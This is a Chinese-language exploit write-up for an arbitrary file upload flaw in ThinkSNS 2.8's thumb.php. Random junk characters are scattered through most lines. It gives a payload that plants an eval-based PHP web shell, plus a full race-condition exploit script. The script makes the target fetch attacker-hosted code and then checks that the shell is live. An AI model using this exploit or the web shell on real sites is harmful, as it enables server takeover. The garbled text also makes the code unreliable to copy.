漏洞版本
6 i1 v& Z* O& ?- x+ _3 [+ ^存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过). {- n0 r# f* `# x
漏洞文件" a9 J5 l7 N0 [. m9 O
存在漏洞的文件为:thumb.php
& O [% E6 d$ S2 s7 a& f1 E6 w作者:韦鲲鹏4 o& n% e- ~ S, b
1、 准备如下PHP文件并上传到服务器(自己的)。- d( f: n. }% z8 x! s- e3 f
文件内容如下:
6 X S$ w; b2 ^2 ?& y3 R4 o<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>3 H- h4 s" [- I3 A) N& Z3 z$ P0 M
2、 计算出临时的文件名:
( G/ I' O" [1 f; y这里我们可以看文件的99行(刚刚是不是没注意呀!)。# |; [/ J4 S4 M1 @6 ?( N( {
: l# B: ?0 n1 ]5 |; Q# U3、 上传临时文件。
+ B; c9 \- K5 J. R( }: n4、 访问临时文件。; G6 x( P& \. x' s% ^* N
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)* t% x; e- K9 B( \+ S
Exploit文件内容如下:(这个我就不详细解释了)
3 {- p) g g8 x/ ~3 Z' B- o E<?php
* i9 o* `7 W. j$ ierror_reporting(0);+ m. m0 ?& \& @1 U3 Q
set_time_limit(0);
/ I9 \2 g) A/ k* m/ aini_set(“default_socket_timeout”, 5);7 k! S0 u' u/ o) p1 m4 \2 K; a
function http_send($host, $port, $headers) {
( l8 f( H- F' Y$fp = fsockopen($host, $port);
4 j a+ M7 y: {! P; @: Nif (!$fp) die(‘Connection -> fail’);6 v$ l6 B# K9 M8 c% m) _& z
fputs($fp, $headers);3 p i! u6 h2 T. _- W: I
return $fp;: B! Z; ]8 @. C* f5 n1 h
}
# Z6 s. t; c3 y+ L6 Y- P5 hfunction http_recv($fp) {# Q( W2 _4 k3 ?8 i8 x! B
$ret=”";1 ?+ }& b0 e- \5 x( I6 v
while (!feof($fp))( S: S7 H2 t+ x: W7 ]8 |
$ret.= fgets($fp, 1024);! H1 F: t. h6 C r' q9 N) t
fclose($fp);/ Z ?! d0 x" J, p
return $ret;% U1 U+ g7 q, [3 j: l/ W* q$ e
}
/ i; V; ?$ O, F0 U; j4 C, Nprint “\n# ThinkSns Arbitrary File Upload #\n”;' H% i3 Y7 I5 W
print “# Discovered by 韦鲲鹏 #\n\n”;
# ?5 t V# E5 j+ M; |. ]! W# Lif ($argc < 4) {; X- a( r" x1 Q+ L- A
print “Usage: php <host> <path> <romote_url>\n”;# B; b. p! G( z v! `8 U
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
6 B f9 o4 M( }5 h' P; f. Tdie();' D7 ?6 z8 R4 b, V& G
}
, Y/ X/ k, k. A' r( d% j w$host = $argv[1];) R/ ^4 Q/ r$ o& K
$path = $argv[2];0 O; F$ H7 M; T7 O( w" Z
$url = $argv[3];2 ]' _/ i* b! J! c) J
$i=0; n- M5 }% `, L8 ~3 m. B
//上传数据包- `. Q" V3 D, `1 }8 L
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;5 f% ]/ \- J- J9 H; D
$headers_up .= “Host: “.$host.”\r\n”;( d: d8 q6 G8 l+ Z, ~+ g
$headers_up .= “Connection: close\r\n\r\n”;! L7 f$ d( ~+ h4 [8 ~
echo $headers_up;- ~6 S- F- W3 x$ z1 H+ C
//临时文件访问数据包
" j3 @8 D- h }( T7 ~) G0 @* L$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;% j5 z3 P0 b' i2 }8 T
$headers .= “Host: “.$host.”\r\n”;
; ^, O; R" H+ R' A$headers .= “Connection: close\r\n\r\n”;
& Q* t2 w# `' N+ t4 X6 ?7 Xecho $headers;
/ [9 u* q: i& K! _- `9 p+ Dwhile(++$i<10) {
! C9 \- T# V7 `! V4 bfclose(http_send($host, 80, $headers));; i0 o- \' f' h3 J( @) ]
}
% @1 C' C8 c% U! ofclose(http_send($host, 80, $headers_up));
/ g$ F- z1 ]! e4 l: Z' Vwhile(++$i<50) {% z3 L" x& t- X( E6 L* c. R
fclose(http_send($host, 80, $headers));
9 W# k2 S f! z N}% z+ h& h, S! I0 Y+ ]. q% g
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
0 B$ P; x1 k9 \9 ?$ x7 {* r$headers .= “Host: “.$host.”\r\n”;. `) I( X1 O( c' w5 N: F* w
$headers .= “Connection: close\r\n\r\n”;4 M; }2 { @% D' z3 L6 m6 T; Q' B
$res=http_recv(http_send($host, 80, $headers));
$ z3 c; ?+ A$ H" ^7 | W; ^0 lif(preg_match(‘/200 OK/’,$res)) {2 }! }' y* g- Z6 H
print “Success!\n\n”;4 w0 D& i. T* Q- D7 [1 ]
} else {! u k- R9 v, U* I8 H1 B! Q8 B
print “Fail!\n\n”;
# R( B7 O: w7 x; S# Q) H}
0 w0 k, N7 |1 b y% \) ?/ ]3 [) T?>8 k& ?* T( C$ j. \* j' t9 o
|